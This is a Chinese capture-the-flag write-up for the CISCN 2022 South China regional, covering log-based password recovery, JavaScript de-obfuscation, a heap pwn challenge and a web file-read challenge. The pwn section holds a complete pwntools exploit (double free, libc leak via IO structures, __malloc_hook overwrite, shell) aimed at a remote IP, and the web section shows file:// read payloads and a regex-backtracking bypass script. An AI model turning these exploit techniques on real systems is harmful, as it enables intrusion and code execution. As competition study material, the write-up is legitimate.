CISCN2022华南赛区分区赛Writeup
ReT0战队 2022-6-19 CTFWriteupWebMiscPwnReverseCISCN2022
这次比赛有点遗憾,最终排名15名,只能说尽力了。
# Misc
# logbool
wireshark打开后,导出HTTP对象到一个新的文件夹,使用python读取所有文件的内容
import os
os.chdir('http对象')
for i in os.listdir('.'):
with open(i, 'r') as f:
print(f.read())
1
2
3
4
5
6
2
3
4
5
6
使用python处理,得到密码
import re
with open("http对象.txt", "r") as f:
r = f.read()
lst1 = []
lst2 = []
lst = r.split("\n")
for i in lst:
if "password" in i and "success" in i:
ret = re.findall('1\),(.*?),1\)\)>(.*?) AND', i)[0]
if ret[0] not in lst1:
lst1.append(ret[0])
lst2.append(ret[1])
else:
if int(lst2[len(lst2)-1]) <= int(ret[1]):
lst2[len(lst2)-1] = ret[1]
for i in range(1, len(lst1)+1):
c = lst2[lst1.index(str(i))]
print(chr(int(c)+1), end="")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
timeemitloggol
1
同样地,将password
改成content
得到一串字符串
526172211a0701003392b5e50a01050600050101808000b2b1f3d65502033cb00004a80020a09ebf0280030008666c61672e747874300100030fedd6cdb8cc2535d8819161a4c7f5b2b05912735d7a3fd51074b03e4d9a68c5ec47766f7c7e9491369e1d8add0a0302eefeaba7a446d80100cf48e5373135a4b7de8993121c592e8c87743c2e8c0fffb766b53217f07acac40b55cf1db67923bea02a55299c54991d77565103050400
1
前面的526172
便是rar文件的文件头,将其粘贴为十六进制得到一个压缩包
密码就是刚刚的密码,得到flag
DASCTF{33c12355cd508de6b9b3676b97ece17e}
1
# Reverse
# ob!
由此网站反混淆:obfuscator解密 - dejs.vip (opens new window),得到
function _0x15f8(numberParam, _0x29a14a) {
return _0x15f8 = function (_0x15f885, _0x2046fc) {
_0x15f885 = _0x15f885 - 313;
var __0x15f885 = _0x55fe._0x15f885;
return __0x15f885;
}, _0x15f8(numberParam, _0x29a14a);
}
(function () {
var innerObject = {
"LHAkM": "2|3|5|1|0|4",
"esJvd": _0x15f8(327),
"BZTwo": function (_0x1d1e01, _0x12cacf) {
return _0x1d1e01 == _0x12cacf;
},
"sZuqf": "congratulations!!",
"cdcMv": function (_0x249d98, _0x2b4e20) {
return _0x249d98 < _0x2b4e20;
},
"gOHVz": function (_0x14fc1c, _0x1ae2a0) {
return _0x14fc1c ^ _0x1ae2a0;
}
};
var _0x344178 = innerObject.undefined.undefined("|");
var _0x5c293c = 0;
while (!![]) {
switch (_0x344178.undefined) {
case "0":
console.undefined(encc);
continue;
case "1":
encc = _0x27361d.undefined();
continue;
case "2":
var _0x50fdde = innerObject.undefined;
continue;
case "3":
var array = new Array();
continue;
case "4":
innerObject.undefined(encc.undefined(), [
90,
71,
18,
23,
64,
20,
67,
69,
43,
44,
41,
41,
125,
43,
125,
41,
116,
117,
32,
119,
32,
43,
117,
39,
107,
56,
56,
60,
111,
62,
61,
62,
63,
125,
67,
80,
64,
81,
64,
68
].undefined()) && console.log(innerObject.undefined);
continue;
case "5":
for (i = 0; innerObject.undefined(i, _0x50fdde.undefined); i++) {
_0x27361d.i = innerObject.undefined(_0x50fdde.i.undefined(), i);
}
continue;
}
break;
}
}());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
用python写个脚本,将密文翻转进行异或就可以得到flag
flag = [90, 71, 18, 23, 64, 20, 67, 69, 43, 44, 41, 41, 125, 43, 125, 41, 116, 117, 32, 119, 32, 43, 117, 39, 107, 56, 56, 60, 111, 62, 61, 62, 63, 125, 67, 80, 64, 81, 64, 68]
flag.reverse()
for i in range(0, len(flag)):
print(chr(int(i^flag[i])), end="")
1
2
3
4
5
2
3
4
5
DASCTF{8644d056d7d93c5cc1d1f5424eb6c37a}
1
# Pwn
# chats_store
漏洞
UAF
void sub_BD3()
{
int v0; // [rsp+Ch] [rbp-4h]
printf("chats No. > ");
v0 = sub_A10();
if ( *((_DWORD *)&unk_202040 + 4 * v0) )
free(*((void **)&unk_202040 + 2 * v0 + 1));
else
puts("chat not exists");
}
1
2
3
4
5
6
7
8
9
10
11
2
3
4
5
6
7
8
9
10
11
攻击思路
没有show,2.23没有tcache,没有edit,直接double free 打fast bin
申请到heap的size位置,修改size然后free得到unsorted bin,利用unsorted的低字节爆破IO结构体泄露libc,由于2.23 size 检测只能打malloc的hook
但是题目正常是不可能满足onegadget所以利用realloc调整栈帧,最后getshell
exp
from pwn import *
#r=process('./chats')
libc=ELF("./libc-2.23.so")
#context.log_level='debug'
context.arch="amd64"
r=remote("43.138.52.3",57500)
def add(idx,size,con):
r.recvuntil("> ")
r.sendline(str(1))
r.recvuntil("> ")
r.sendline(str(idx))
r.recvuntil("> ")
r.sendline(str(size))
r.recvuntil("> \n")
r.send(con)
def dele(idx):
r.recvuntil("> ")
r.sendline(str(2))
r.recvuntil("> ")
r.sendline(str(idx))
def pwn():
for i in range(16):
add(i,0x68,p64(0x71)*0xd)
add(17,0x68,"/bin/sh\x00")
#gdb.attach(r)
dele(0)
dele(1)
dele(0)
add(7,0x68,'\x60')
add(8,0x68,'\x60')
add(9,0x68,'\x60')
add(10,0x68,p64(0x71)+p64(0x411)+p64(0x71)*0xb)
dele(8)
dele(0)
dele(2)
dele(0)
add(7,0x68,'\x60')
add(8,0x68,'\x60')
add(9,0x68,'\x60')
add(10,0x68,p64(0x71)+p64(0x31)+p64(0x71)+'\xdd\x25')
dele(0)
dele(2)
dele(0)
add(7,0x68,'\x78')
add(8,0x68,'\x78')
add(9,0x68,'\x78')
add(11,0x68,p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))
add(12,0x68,p64(0)*6+'a'*3+p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))
leak=u64(r.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-0x3c5600
print(hex(leak))
malloc=leak+libc.sym['__malloc_hook']
sys=leak+libc.sym['system']
dele(0)
dele(2)
dele(0)
add(7,0x68,'\x60')
add(8,0x68,'\x60')
add(9,0x68,'\x60')
add(10,0x68,p64(0x71)+p64(0x31)+p64(0x71)+p64(malloc-0x23))
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd173 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd248 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf03b0 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf67f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''
realloc=leak+libc.sym['realloc']
rdi=leak+libc.search(asm("pop rdi;ret")).next()
dele(0)
dele(2)
dele(0)
add(7,0x68,'\x78')
add(8,0x68,'\x78')
add(9,0x68,'\x78')
add(11,0x68,p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))
add(12,0x68,'a'*(0x13-8)+p64(leak+0x4527a)+p64(realloc+0))
add(12,0x58,'a'*0x13+p64(leak+0x4527a))
add(12,0x58,'a'*0x13+p64(leak+0x4527a))
r.interactive()
while True:
try:
r=remote("43.138.52.3",57500)
pwn()
except Exception as e:
r.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
# Web
# Try2ReadFlag
读取flag目录,可以看到flag目录有源码
/index.php?url=file:///var/www/html/flag.php
1
import requests
url = 'http://43.138.85.15:57600/flag.php'
esp = 1000000
ebp = 100000
while True:
middle = int((esp+ebp)/2)
payload = 'cat' * middle + 'flag'
# print(payload)
data = {
'input': payload
}
r = requests.post(url=url, data=data)
print(r.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2
3
4
5
6
7
8
9
10
11
12
13
14
15
正则匹配回溯绕过就能看到flag文件了,知道flag文件名直接在index读取他就好了
/index.php?url=file:///F1agg_f1ag
1